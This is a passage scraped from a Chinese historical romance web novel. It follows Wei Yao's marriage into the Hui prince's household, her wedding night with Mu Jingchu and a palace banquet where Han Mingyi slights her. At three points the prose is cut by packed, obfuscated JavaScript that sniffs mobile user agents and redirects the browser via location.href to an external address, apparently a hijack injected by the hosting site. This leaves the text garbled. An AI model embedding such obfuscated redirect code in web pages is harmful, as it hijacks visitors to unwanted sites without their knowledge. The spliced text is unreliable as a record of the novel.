“我不像你那么薄情寡义。”顾顺娘并不想露出底牌，只遮掩道：“阿槿这些年过得艰难，好容易有了不错的去处，何必给她添堵。她打小就知道，娘死了，爹不在，如今好赖有了个爹，王府里生存不易，有个靠山总归是好的。” 这样一说，魏芝翰才算松了口气。 魏窈回京后是何态度，他都看在眼里。虽说性子内敛了些，却很温婉懂事，在他跟前礼数周全，也能为他着想，瞧不出什么间隙。 他沉着脸，告诫道：“她是我的亲骨肉，我自会扶持照拂。你一个商妇，少在那里弄鬼，耽误了她的前程。” “那就请魏大人记得今日之言，往后做些父亲该做的事，像疼惜二姑娘那样疼惜阿槿！” 顾顺娘瞧他面色和缓稍许，也自缓了语气，“婉娘的事，若你还有半点良心，还知道愧疚两个字怎么写，就该加倍弥补，善待阿槿。” 愧疚吗，怎能不愧疚呢？ 曾是恩爱相许的夫妻，如今时移世易，这世间也就这位昔年的老仆记得那人而已。 魏芝翰说不上是心底是怎样复杂的情绪，瞧见顾顺娘鬓角的稍许白发时，到底唤起稍许良心，“你抚育阿槿长大，这事我感激你。你能记着婉娘，也是有情义。往后我会寻个庄子，送你去享清福，咱们都盼着阿槿好，想让她在王府安安稳稳的，不是么？” “大人的心思，便是我的心思。” 顾顺娘站在魏芝翰面前，在他难得惦念旧事的间隙里，再次问道：“婉娘当真死了么？我想悄悄去祭拜她。” 竭力温和的声音，像是曲意商量。 魏芝翰被问得猝不及防，眼底的警惕瞬息即逝，旋即背转过身去。 大约是女儿出嫁前夕这样特殊的日子让他想起了往事，大约是方才顾顺娘的连番刺激让他生出愧疚，有那么一瞬，他甚至想说出实情。但那想法也只是转瞬即逝而已，若婉娘当真归来，他如何跟魏窈解释当年的事？又如何安抚贺家那边？ 那会彻底毁了他的前程和安稳日子！ 魏芝翰只迟疑了一瞬，便踱步走开，“当然死了。葬在我老家的祖坟里。” “那是真远。”顾顺娘喃喃，“算了吧。” “深夜搅扰大人了。但愿大人记得今晚所言，善待阿槿。”顾顺娘说完，便欲离去。 魏芝翰也终于肯转过身来，点点头道：“这些年，辛苦你了。” 27. 027 从书房里出来，深冬的夜风刀子似的刮过脖颈，吹得耳朵冰冷微疼。 顾顺娘深吸了口气，任由刀刃般的冷风直入肺腑。 如果说从前的诸般猜想只是推测，今夜，她终于得以确信。 不论当年魏芝翰为何与贺氏苟合后暗结珠胎，他对不住婉娘是板上钉钉的事。若婉娘当真死了，时过境迁死无对证，魏芝翰又何须那样警惕，甚至迟疑？ 一句话的事，有什么好迟疑的？ 而若婉娘没死，积年旧事太难查探，八成还是得往魏芝翰身上下功夫，设法撬开他的嘴，寻个有用的线索。 怎么撬开呢？灌醉？迷倒？恐吓？ 不论如何，像他这种趋利避害、最重自保的人，假以时日，总能寻到机会。 顾顺娘眼底浮起讥诮，逆着风大步走远。 翌日便是魏窈出阁的大喜日子。 一大清早，魏窈便被顾顺娘从被窝里拽出来，就着暖烘烘的炭盆梳洗打扮，花了好半天精心堆叠云鬓，又将那套繁琐的嫁衣慢慢穿上。描眉后稍施胭脂，待要用口脂时，魏窈让青穂将穆景初送她的那盒拿了出来。 青穂抿唇轻笑，魏窈在镜中瞧见，也只一笑。 她知道青穂在误会什么，也无需多作解释。 这场婚事背后藏着怎样的约定，只有她跟穆景初清楚。但不管最终会去往何方，这于她而言，终归是一个崭新的开始。既然穆景初做事厚道，她也须牢记约定，往后勤谨侍奉、善加照料，但愿能有个好的收尾。 她瞧着镜中盛装的模样，嫣然一笑，亲自将口脂细细涂上。 骄阳高照时，迎亲的鼓乐热热闹闹到了门前。 魏窈辞别顾顺娘，又往厅上拜别魏芝翰和贺氏夫妇，由喜娘扶着慢慢出了厅堂。 来道贺的人站满甬道两侧，看惯了寻常人家的凤冠霞帔，难得瞧见皇家成婚的华丽翟衣，即便只是郡王侧妃的服制，也足够艳羡的。 宾客们交头接耳，多少有些羡慕魏家的福运。 魏淑云同她的状元郎夫婿站在人群里，听见不绝于耳的夸赞声，偷偷撅了噘嘴，不自觉挽住许约的手臂，像是自我安慰似的。 许约似未察觉，只是有些心绪复杂地看着渐渐走远的新娘。 成婚前有再多的讹传，在成婚之后，有些事也终究会浮出水面。成为魏家女婿后，许约数次携妻登门，难免以姐夫的身份跟魏窈相见，观察其品性。更勿论皇家一道圣旨为魏窈赐婚，彻底将先前魏窈与肃郡王结梁子的谣言击得粉碎。 那时，许约才后知后觉地明白，京城贵女口中那些传言是何其荒诞！ 而他竟为那些无稽之谈，错失最初相中的美貌女子。 有遗憾，有懊恼，但归根结底，既将婚事作为仕途的梯子，当初为保稳妥而另娶他人，细想起来也是无奈之举。 许约想得开，此刻也只剩祝福罢了。 但低头瞧见紧贴在旁的魏淑云，察觉她这些天言语神情间的嫉妒，再推想当初那些谣言时，心中难免有些不舒服。 他收回视线，踏着铺满庭院的阳光，听见鼓乐在魏窈榻上轿辇时声势更盛。 迎亲的队伍渐渐走远，魏芝翰噙着压不住的笑意，在宾客间穿梭应酬，连带贺氏都不得不堆出笑意，摆出与有荣焉的慈和模样。 这一切，魏窈已懒得关心。 她只是端坐在轿辇中，垂目凝神，细细回想先前所知道的关于惠王府的些许细节。 鼓乐穿过街巷，最终在惠王府门前停稳。 穆景初身着礼服身姿端然，就在府门外等他。 哪怕两人相识未久，但于此刻的魏窈而言，这是他在王府里最熟悉的人了。心底的稍许忐忑在瞧见那道熟悉的身影时悄然消弭，魏窈清了清喉咙振作精神，在轿辇落地停稳之后，躬身而出。 喜娘递来系着同心结的红绸，那一端则握在穆景初的手里。 魏窈挺身走近，与他一道步入王府。 相较于魏家的那座庭院，惠王府着实宽敞了太多。从照壁到正厅再到拱门乃至后面的喜堂，一路上屋宇错落花木扶疏，即便是深冬时节，也能隔着花扇隐约瞧见盛放的梅花和茶花，为这婚事更添几分喜气。 成群的宾客候在喜堂外，魏窈不好乱打量，缓步随穆景初入内，隐约瞧见了上首的身影。 据闻惠王爷不良于行，今日倒是舍了轮椅，含笑端坐在上首。旁边坐着惠王妃，虽说瞧不太清楚面容，但是那模糊的身影亦有雍容端方之态。旁边则是惠王世子穆景言和他的世子妃。 至于传闻中穆景初过继的儿子，一时间倒没见着年岁身量差不多的男孩儿。 魏窈迅速打量一圈，便即垂下眼眸。 而后便是拜堂，两人在众人的见证之下拜过天地高堂，相对而拜。上首的惠王夫妇终于盼到儿子成亲，瞧见花扇后的身段气度也颇满意，这会儿脸上俱堆满了笑容。 在一众宾客的贺喜声里，两人被簇拥进了洞房，于众多女眷拥围之中行了合卺之礼，穆景初便被大哥穆景言拉去喝酒酬客了。 旁人陆续散去，最终只余几个仆妇丫鬟伺候在旁。 魏窈被闹了半天，此刻终于暂时消停下来，着实觉得有些累了。便将那些个仆妇丫鬟遣散，将沉甸甸的凤冠暂且搁下后，又让青穂端了些糕点过来垫垫肚子。 而后就是漫长的等待。 洞房在内院深处，完全听不到外头的动静。倒是宽敞的房间里火盆熏暖，合着桌上供的果子香气，让魏窈渐渐有些犯困。怕弄坏了妆容发髻，也不敢睡，只能靠着青穂打个盹儿。 天色渐渐昏暗下去，有仆妇奉上饭菜，说是肃郡王吩咐的，让魏窈先垫垫。 魏窈吃了些，也不知喝酒酬客的穆景初何时能回来，望着夜色里渐渐明亮的喜烛时只觉困意袭来，着实有点儿撑不住。就连青穂和绿禾都有些累了，东倒西歪的靠在床榻边上，哈欠连天。 屋外有风吹动，将树梢晃动的沙沙声递进窗缝，愈发显得屋里安静。 魏窈坐得睡意朦胧，正小鸡啄米似的打盹儿，忽觉脚边似有轻微的响动，有什么东西撞在鞋上。她稍振精神，躬身一瞧，就见脚边不知何时多了个细竹篾编的拳头大小的笼子，底下还坠着流苏。 她随手捡起来，不知指头碰到了那里，那圆乎乎的小笼子忽而对半撑开，露出里头黑乎乎的一只虫子，正拿触须跟竹篾较劲。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217148|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 睡意在那一瞬被惊散，好在魏窈长于乡下，见惯了草虫，不至于惊呼出来。 她抬眸四顾，很快就发现了躲在帘帐后面的那个男孩。 他今儿也穿了身喜庆衣裳，瞧着约莫四五岁，手指头扒拉在垂落的软帐上，那双眼睛眨巴眨巴，正好奇地打量着她。 魏窈一笑，将竹笼往前伸了伸。 小家伙似迟疑了下，却还是噔噔噔跑过来，将他那小玩具收回去，歪着脑袋道：“你怎么不害怕？” 这话问得着实孩子气，魏窈不由笑了，便凑近点问道：“你叫文孺是不是？” “你怎么知道呀？” “猜的。”魏窈挑挑眉。 既要嫁进王府，来之前对府里的情形多少有点了解。惠王膝下除了世子和穆景初，剩下就是两个女儿，都还没出阁。世子穆景言膝下倒是有个男孩子，不过也有七八岁了，据说还有个出生未久的女儿。 眼前这孩子年岁尚小，又能摸进穆景初的洞房，八成是他过继的儿子——先皇太孙留下的遗腹子。 魏窈前世对这孩子是只闻其名，未见其人，此刻瞧他黑白分明的眼睛滴溜溜转着，神情里几分淘气，想来平素颇得穆景初宠爱。 她又瞥了眼尚且跟竹笼较劲的虫子，跟这小家伙搭话，“如今是深冬时节，你是哪里找来的虫子？还挺有趣！” “我在花房偷偷养的！”文孺有点得意地挺起胸脯，“他们都说冬日里活不了，可你瞧，它如今不也活蹦乱跳么！” “瞧着是挺精神。”魏窈颔首。 文孺像是受了认可，小心地将那虫子取出来装入袖袋，“我该去练字啦！这个笼子送给你。”说罢，又好奇了将魏窈看了看，一溜跑了。 魏窈取那竹笼在手里把玩，竹篾编的细致不说，开合处竟用了个小小的机关。 难怪方才竟自己开了。 她既没了困意，索性细瞧那机关的式样，琢磨那竹篾细密编织的技巧，乃至流苏的质地手艺。 这般消磨了不知多久，外头天光愈暗，衬得屋中烛火渐而明亮。 旁边青穂和绿禾眯了会儿，精神振作了不少，瞧着天色渐晚，便将凤冠重新给魏窈端正戴好，又稍补了补脸上妆容。 再等候一阵，院中终于传来动静，是仆妇见礼问候的声音。 魏窈不自觉挺了挺脊背。 少顷，门扇轻响，烛影微晃，隔着花扇上绣了合欢花的薄纱，魏窈终于看见那道身影朝她走来。即使知道这婚事是为做戏，真个处在这洞房花烛的情境里，嗅到男人身上隐约的酒味时，她仍有点不自觉的紧张。 床帏之侧，穆景初瞧见她绷直的身姿和紧握在扇柄的骨节，微不可察地勾了勾唇。 坐上床榻之前，他瞥见了枕边搁着的小竹笼。 “已经见过文孺了？”他问。 “嗯，他早些时候来过，送了我这个小礼物。”魏窈隔着花扇回答。 “难怪席面上不见他，原来是跑这玩来了。”穆景初坐在她的身侧，床褥微微塌陷时，身上的酒气亦渐而浓烈。 他扫了眼华美凤冠，抬手拨开花扇，视线落在烛光下近在咫尺的那张脸时，竟自呼吸微顿。 28. 028 穆景初一向知道，魏窈生得美貌。 先前江陵城初遇时，她只穿了身半旧的寻常衣裳，不施粉黛不簪金翠，却已似珠玉暗蕴光华，令他至今都印象深刻。后来进京，她身上渐渐添了珠翠、穿了绫罗，气度亦渐露高华。 而此刻，温柔烛光之侧、华美凤冠之下，黛眉衬着星子似的双眸，耳畔红珠摇曳，朱唇轻阖浅笑，是梦中都不曾见过的娇美模样。 一瞬的失神后，穆景初强迫自己挪开视线。 但不知是酒意之故，还是她身上熟悉的淡香窜入鼻端，勾着人往软玉温香上头想，穆景初紧贴着坐在她的身侧，竟觉气血渐而浮躁。 明明来时早已打定主意，娶她是为做戏，顺道办些筹谋甚久的事，往后八成要分道扬镳的婚事无需急着洞房，免得让她难办。可此刻呢？ 穆景初啊穆景初，你的定力竟如此轻浅了么！ 他深吸口气，竭力压住心头的躁动。 但洞房之夜美人在侧，就这么抬脚离开将她撇下，未免显得太过冷落。 穆景初只迟疑了一瞬，便试着凑近些，在魏窈忽而紧张的目光里，凑到她的脖颈。 白嫩的肌肤，温暖柔软，那股不知是体香还是花露所成的香味更是诱人心神。 穆景初的唇落上去，浅尝辄止。 男人醉后温热的鼻息喷在颈间时，魏窈的胸腔却咚咚轻跳起来。头顶的凤冠实在沉重，她不敢躲避，只能僵着脖子坐在那里，有些担心穆景初下一步的动作——成婚前他就说过，即使是假戏，也可能会有肌肤之亲。 若他今夜真的要圆房，她着实没有推拒的理由。 可当初约定的明明只是成婚给人看，他这么快就…… 念头瞬息万变，魏窈不自觉攥紧的指尖，在穆景初轻轻舔了她一下时，脑海里甚至蹦出了他揽肩宽衣、在她肌肤肆意游走的情形。 ——如同那日书房角落的攫取一样。 唇与颈摩挲，鼻息扫过，暗夜里的触感格外分明。 可青穂和绿禾还在身边站着呀！ 魏窈心头乱跳，正想出声提醒的时候，忽觉颈间一空，那人的唇与鼻息倏然离开，只剩余韵在心头盘旋。 她睁开眼，正对上穆景初的眼睛，其间分明藏有暗涌的欲。 但下一瞬他却挪开了，甚至取了文孺送给她的小竹笼在手中把玩，淡声道：“这香味挺好闻，回头告诉我香料的配方。”说着，咔哒一声阖上竹笼的机关，将它丢回枕畔，站起了身。 “这里备了两间卧房，安心睡吧，不必紧张。明儿还得早起去见长辈。”穆景初说着，笑睇她一眼，抬脚欲走。 临行前又提醒道：“冠子摘了吧，怪沉的。” 说罢，竟自绕过桌椅往外间去了，只在走至无人处时忍不住轻舔了舔唇。 剩魏窈坐在床榻上，愣愣看着人影消失的方向。片刻后心神回笼，她回味方才如春日迷梦般倏然而至，又在转瞬间消失无踪的亲昵情形，后知后觉地明白过来，这人八成是在调戏她！ 真真是好定力，他拍拍屁股走了，倒把她唬得一愣一愣的！ 魏窈有点恼，又有点想笑，自管将那凤冠摘了。 旁边青穂和绿禾低着头非礼勿视了半天，此刻终于敢抬起眼睛，又惦记着穆景初方才的吩咐，低声道：“殿下说的什么香？什么香料配方？” “姑娘一向不用香的。”绿禾喃喃，甚至凑到魏窈跟前闻了闻，“我没闻到，你呢？” “我也没闻到，清清爽爽的，哪有什么香味。”青穂也跟小狗似的在魏窈身上四处嗅了嗅，最后得出结论，“八成是今儿用的脂粉有点香味。咱们闻着不明显，殿下鼻子尖，闻出来了吧。” “那明儿把脂粉给他？”绿禾一头雾水。 魏窈听着她俩嘀咕，情知往后夫妻俩是要分房睡了，长长松了口气，旋即起身宽衣，准备去里头盥洗了早些睡觉。 什么香味，八成是穆景初拿来掩饰的借口。 她打小儿不用香薰，就只出阁前按着规矩沐浴焚香了几天，早就洗干净了，哪还闻得到？ 随口胡诌的遮掩之辞，不必当真。 …… 翌日清晨天蒙蒙亮时，魏窈便起来了。 对面屋没什么动静，问过仆妇才知道穆景初打小养成的习惯，每日都会早起去练武一阵，这会儿怕是都快要练完了。 这般自律，着实让魏窈有些佩服。 于是自管去梳洗，待骄阳初升时，夫妻俩便结伴前往惠王夫妇起居所用的嘉瑞堂。 俗话说腊八过后就是年，王府里本就会早早筹备过年，经过昨日大婚的一场热闹，沿途走过去，从灯笼红绸点缀的廊庑，到洒扫整洁的楼阁，再到能以假乱真的树梢繁花，处处皆有喜庆的气息。 走过宫灯摇曳的游廊拐角，初升的日头铺满庭院，亦洒在魏窈的脸颊。 今儿日头晴好，阳光晒得脸上暖乎乎的，亦让人觉出种长空澄净、春光将至的气象。 魏窈不自觉勾了勾唇。 旁边穆景初瞥见，谑道：“这么轻松？不紧张？” “紧张啊！”魏窈可不敢托大，既决定与穆景初同行这一程，自然盼着能给长辈妯娌留个好印象，能让往后的日子顺遂些。遂轻咳了声，双手抱在腹前让身姿更端正些，连笑容都换成了对镜练习过许多遍的得体浅笑。 穆景初唇角微动，“都是我的家人，不必紧张。” 说话间渐近嘉瑞堂，迎面正有一群仆婢簇拥着两位姑娘走到门口。 年长些的那位削肩细腰，身量高挑，金钗装点的脸上神采飞扬，似乎往这边瞥了眼，却又没看见似的，径直进了嘉瑞堂。倒是年少些的那位瞧见了穆景初和魏窈，脚步稍顿，像是要去拉姐姐，却又扑了个空，索性站在院门口，等兄嫂俩到了后一起进去。 进了厅，里头炭盆熏暖，有梅香隐约。 迎面是喜鹊登梅的檀木屏风，质地古朴做工精湛，是京中少见的手艺。绕过屏风走进去，里面仆从簇拥着好几个人，有人坐在圈椅绣凳上喝茶，也有人围着逗弄一个襁褓里的孩子，倒真是阖家团聚的和乐场景。 上首两处位子空着，穆景言旁边那位美人瞧见夫妻俩走来，浅笑颔首之后，便进里屋去请人。 不消片刻，惠王夫妇便缓步出来了。 魏窈没敢多打量，先跟着穆景初恭敬行礼，依着规矩给公婆敬茶，奉上先前预备了让青穂捧在盘中的礼物。 比起昨日隔着花扇的匆匆一瞥，今日可算是能从近处瞧瞧这两位甚少出门的贵人了——因惠王爷不良于行，惠王妃沉静礼佛，大凡寻常的宴席往来都是世子夫妇和穆景初出席，魏窈前世很少能碰见这两位。 如今成了一家人，魏窈才惊讶地发现，其实惠王爷的腿脚挺利索的，从里屋走到厅中，其实瞧不出什么异样。 他长相颇威严，性子却似随和，大约是终于盼到次子成婚，喝完茶后还含笑夸了魏窈两句。 惠王妃据说是名门之后，虽身份尊贵，却没像贺家那婆媳俩似的堆砌种种名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227154|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵宝石，只用几样首饰稍作装点。身上却透着股沉着华贵的气质，叫人瞧着心里有种莫名的安稳，神情也颇和蔼。 世子穆景言历练了好些年，很有长兄风范，妻子梅氏据说是文官之女，漂亮又和气。 夫妻俩膝下两个孩子，年长的文忱年才八岁，长得肖似其父，小的就是襁褓里刚被众人逗弄的那个，还没断奶。 剩下两位姑娘，年少的那位刚进来时穆景初就介绍过，名叫穆景若，是姜侧妃所出，正是烂漫无忧的豆蔻年华。稍长的名叫穆景姝，跟魏窈同龄，是穆景初一母所出的亲妹妹。 魏窈依礼见过，旁人都颇和善，唯有穆景姝神情颇为冷淡，似不愿跟她多说话似的。 也不知是没拿侧妃当嫂子，还是有别的缘故。 魏窈对她印象不深，碰上冷脸也没空深究，照旧送上贺礼，噙着得体的笑叫了声妹妹。 一圈儿下来，除了姜侧妃身子弱、在临温泉修建的山中别苑养病之外，王府的兄弟姐妹算是都认全了。 这间隙里，侧厅的早饭也已摆放齐整。 惠王留众人一道用早饭，过后将穆景言和穆景初兄弟叫去书房，大约是有事商议。 惠王妃则将两个儿媳留下来，先逗了会儿襁褓里软乎乎的小孙女儿，又问了梅氏几样府里的琐事，便向魏窈道：“老二拖到这么大岁数，终于肯娶妻了，我跟王爷都很高兴。这孩子性子冷清些，心却热，慢慢相处着就知道了。” “殿下待我挺好的，多谢母亲指点。”魏窈笑得和婉。 惠王妃情知这婚事是儿子从昭明帝那儿求来的，猜得这漂亮姑娘很合儿子的眼缘，且自幼流离、由奶嬷嬷养出来的姑娘，能有如今的谈吐已属不易，观其举止，心里也还算满意。 便又叮嘱了魏窈一些在府里生活起居的琐事，才让魏窈回去歇息。 魏窈拜别长辈，从嘉瑞堂出来，瞧着青穂所托盘子里长辈所赐的礼物，暗自松了口气。毕竟，既已嫁予穆景初，往后很长一段时间里，她都得在王府的屋檐下讨生活。 长辈若能慈和相待，她便能少许多麻烦。 主仆俩晒着暖和的日头往回走，到了一处临着荷池的凉亭时，魏窈发现有个小家伙躲在石基之侧，正探头探脑地看她。 冬日里池水冰封，石基旁的芦苇被阳光镀了层金黄，他穿着身浅色衣裳藏身其中，魏窈差点儿没瞧出来。 她假装没看见，还跟青穂商议，“那边芦苇挺漂亮，去折两支插瓶也不错。” 说话间就绕道往那边走。 文孺见她走近，忙往后躲藏。奈何芦苇晃动梭梭轻响，他自知是被发现了，探出半个脑袋一瞧，见魏窈正笑着打量他，并没半点儿惊讶之态，便嘿嘿笑着钻出来，吐了吐舌头，一溜烟又跑了。 青穂在旁看得咂舌，“他这是做什么呢？捉草虫被发现了，怕被责骂？” 魏窈瞧着兔子般跑远的小背影，抿唇一笑。 方才在嘉瑞堂的时候她便瞧出来了，文孺对她还是有点认生，时常眨巴着眼睛看她，却又不肯多说话。这样小的孩子，刚出生里就没了双亲，被穆景初过继在膝下养着，想必是拿他当亲生父亲的。 而今父亲跟前忽然添了人，一时间未必能全然接受。 那就只能交给时间，慢慢来。 至少，从昨晚至今晨，这孩子对她的所有举动都算善意的，已属难能可贵。 魏窈瞧着他跑远，真个过去掐了几支芦苇带回屋，寻个素雅干净的瓷瓶插起来摆在案上。 29. 029 这日忙于安置嫁妆和起居的家当，晚间穆景初回来得迟，夫妻俩各自沐浴歇下。 翌日清晨起来给婆母问安后，魏窈又回屋换了套贵重的衣裳，跟着惠王夫妇一道前往宫中，去赴一场家宴。 ——她是郡王侧妃，虽有不低的品级，却因膝下无所出，暂不入宗室谱牒，原本也没资格因这婚事而得家宴之幸。不过毕竟是穆景初头回成亲，昭明帝念他辛劳，加上年关将近喜气渐浓，便让人安排了这场小宴。 阖府老少乘车入宫，连孩子们也都带上了。 魏窈头回跟随穆景初赴宫宴，自是处处谨慎小心，依着规矩多笑少说，默默打量那位坐拥天下、年逾花甲的帝王和底下满堂的凤子龙孙。 昭明帝子嗣其实不算少。 公主们不必说，光是皇子就有五位。 先太子穆元期是皇后所出，早已亡故多年。惠王穆元廷排行第二，少年时就没了母妃。老三穆元慎有些可惜，十余年前一场震惊朝野的谋逆案，断送了无数人的性命。老四梁王穆元恭是贵妃所出，正当盛年，丧妻之后娶了韩相的女儿续弦，实则长子早已十七岁了。 年岁最小的是康王穆元复，未及而立之年，母亲徐贵妃是名门之后，他作为幼子也一向得昭明帝疼爱。 如今阖家齐聚，上头两位贵妃瞧着成群的儿孙，俱有笑容。 唯独夏皇后虽含笑端坐，实则有些落寞。 从年少时嫁入王府，到后面几十年母仪天下，乃至如今仍有每年生辰时回娘家赏荷的恩典，夏皇后这一生的尊荣富贵着实羡煞旁人。 但她在子嗣上的遭遇，也着实令人心酸。 她成婚没多久就有了嫡长子，便是后来立为太子的穆元期，后来诞育女儿时伤了身子，再也未能怀孕。 先太子英明睿智，极得朝臣赞誉，可惜英年早逝，只留了个独子穆景则，被立为皇太孙。 穆景则跟他父亲一样，幼年聪慧，文武兼修，品行才能都是有口皆碑。只可惜后来为稳朝堂根基北上出征，战死在沙场，只留了个遗腹子，便是如今养在穆景初膝下的文孺。 夏皇后两度栽培儿孙，却又在他们风华正盛时白发人送黑发人，焉能不痛？ 乃至如今文孺到她跟前时，她都有些怕伤着孩子似的，不敢太亲近，只从旁边瞧他玩耍，难掩满眼疼爱。 魏窈瞧着夏皇后看向小重孙时的神态，再看看文孺埋头吃饭不理歌舞的模样，忍不住也勾起唇角。 歌罢舞毕，宴席也近尾声。 帝后都上了年纪，瞧见梅氏抱在襁褓里的小姑娘粉嘟嘟的，不免逗弄，又让人把康王世子抱过来——康王成亲多年，身边也有数位姬妾，却始终没个子嗣，今年终于有位侍妾诞下个儿子，当真是金疙瘩似的疼爱着。 一群人围着孩子说笑，魏窈只在外围候着。 忽觉身边有人靠近，她侧头去瞧，正对上一张明艳张扬的脸，却是给梁王续弦的韩明漪。 都说她跟穆景初青梅竹马，还曾传言皇上有意将她指为肃郡王妃，谁知这人心气儿高，竟转头嫁给了辈分更高、几乎能当她叔叔的梁王。 此刻她找上门来，眼底里不掩居高临下打量的意味，魏窈不由得精神一振。 偏殿里丝竹未停，桌案上酒香犹在。 韩明漪梳着雍容的牡丹髻，赤金镶嵌红宝石的金钗在她发髻间盛开，耀人眼目。相爷幼女、王妃之尊，又正当妙龄华年，眼波流转之间难免有些矜贵倨傲。 她在魏窈身侧站定，眼角挑起点笑意，“先前京里的传闻甚嚣尘上，都说你跟景初有些过节，我还纳闷呢，这结过梁子的人怎么就能成婚。如今看来，果真是传言欺人，侧妃这姿容倒是不错。” “多谢王妃夸赞。”魏窈听出了些许以色侍人的嘲讽，不以为意，只依礼给这位婶婶施礼。 韩明漪端然受了，拿眼角儿瞥着魏窈，又道：“听说你是邵州来的？那地方偏僻，文教也不及京城兴盛。景初虽曾从军征战，却也受大儒教导，才华斐然，你既到了他身边，文墨上可得留意些，别懈怠了。” 这话听着是指点勉励，可配上韩明漪那眼神儿，魏窈哪能听不出意思来？ 分明是嫌她配不上穆景初！ 且她一个做婶婶的，这么关心侄儿的婚事做什么，显摆她跟穆景初青梅竹马、深知其喜好和性情么？ 魏窈心里唾弃，脸上倒没表露。 毕竟韩明漪虽倨傲嚣张了些，却不是轻率草莽的主—— 三年前梁王妃过世，对外虽说是病逝，可跟皇家有些来往的都知道，那是心里碰见坎儿郁郁而终的。就连梁王世子都因此跟父亲生了罅隙，当时曾闹出不小的动静。 韩明漪身在相府，焉能不知实情？ 可即便如此，她还是嫁给了年已三十三岁的梁王，给只比她小三岁的世子当继母。 要知道梁王那身段样貌，比起穆景初可差远了！ 那么，韩明漪图什么？ 无非是昭明帝年事渐高，惠王不良于行无缘皇位，而彼时的康王成婚多年未有子嗣，于皇位上亦希望渺茫。梁王既逢盛年，又有子嗣，韩明漪嫁为正妃，若运气好些，凭着韩相的助力，没准就能谋个母仪天下的前程。 这样有野心有根基的女人，可不是魏淑云那种小丫头可比的。 更何况，人家还是长辈。 魏窈没有跟人家争锋的厚实底气，此刻也只能沉气定心，假作没瞧出她那点阴暗心思，颔首敷衍。 正琢磨着该怎么打断话茬，忽觉指尖被人握住，男人掌心的暖意将她手指包裹时，熟悉的声音也在耳边响起，“时辰差不多，该回府了。”穆景初站在魏窈身侧，朝韩明漪道：“我们先行一步，梁王妃见谅。” 韩明漪的滔滔言辞被噎在喉咙，笑容微收，视线在对面牵着的手上停留一瞬，旋即抬眉看向穆景初，“这么着急？兽苑里排了新花样，不带她去瞧瞧？” 话音未落，迎面传来梁王的笑声，“都聚在这儿嘀咕什么呢？” 说话间大步走来，站在韩明漪的身侧。 韩明漪眼底似闪过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230835|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝尴尬，却很快含笑抬眸看向梁王，“他们要回府了，景初来辞行。” “当真是新婚燕尔，片刻不舍得分开么？”梁王揶揄，又向穆景初道：“我才听景若说，要去瞧瞧我家新来的一班小戏。你们若有空，不如一道去散散心，也免得景若回府时孤单。” “是啊，我瞧景若很有兴致。”韩明漪附和。 穆景初却不为所动，只说还有旁的安排，携了魏窈告辞离去。 梁王也没再劝，自管揽着韩明漪往别处走，唯有韩明漪稍有点神不守舍，离开时又忍不住回头瞧了眼。视线扫过那对新婚夫妻紧握的手时，她的眼底浮起黯然，只好低头拂袖权做掩饰。 …… 回府的时候，仍是一溜马车同行，穆景初兄弟俩照旧骑马在侧，只是少了个穆景若，是去梁王府看新戏班去了。 魏窈也终于大约明白了穆景若待她冷淡的原因。 韩明漪跟穆景初是青梅竹马，跟小她几岁的穆景若又岂会生疏？瞧今日情形，想来两人交情不浅，甚至穆景若还暗暗盼望韩明漪能成为她亲嫂子都说不准。 如今韩明漪另嫁她人，以这位相府幼女的能耐，八成已说服穆景若接受了这事实，俩人交情照旧。 而穆景初忽然迎娶名不见经传的魏窈，这在穆景若看来，可不就是乡下进京的小官之女凭色相迷惑她哥，鸠占鹊巢么？毕竟，魏窈这出身比起金玉堆里养大的相府嫡女来，着实逊色了太多。 想通这节，魏窈不免茅塞顿开。 看来这韩明漪确实有能耐，明明是她为求前程另嫁他人在先，如今倒好像是魏窈抢了她的位子似的，这种迷魂汤，穆景若竟然也能喝下。 啧，情字蒙人呐！ 魏窈抱着怀里暖烘烘的手炉子，感叹之余又有些犯困，靠在软枕上眯了会儿，醒来竟已是府门口了。 于是下了车，与梅氏一道将惠王妃送到嘉瑞堂，再回到自己所住的熹微山房时，已是日色将倾。 里面穆景初在收东西，魏窈走进去时，简单的行囊已然备妥。 魏窈见状微怔，穆景初解释，“出京办点事。” “那……”魏窈迟疑了下，“哪天回来？” 穆景初随手拎了披风搭在臂弯，对上魏窈那欲言又止的模样，似能猜到她的心思，便道：“放心，能陪你回门。” 那就好！ 魏窈松了口气，不自觉展颜而笑。因才刚嫁过来，连穆景初的衣裳箱笼都还没摸过，也没什么能帮忙的，只将他送至院门口，叮嘱了几句“留意夜里冷”“多加保重”之类的，才回屋躺下歇息。 这一歇息，便是整整两天。 魏窈先前因着婚礼、初见家中长辈，乃至入宫赴宴等事，着实耗费了不少精神，难免有点紧绷。 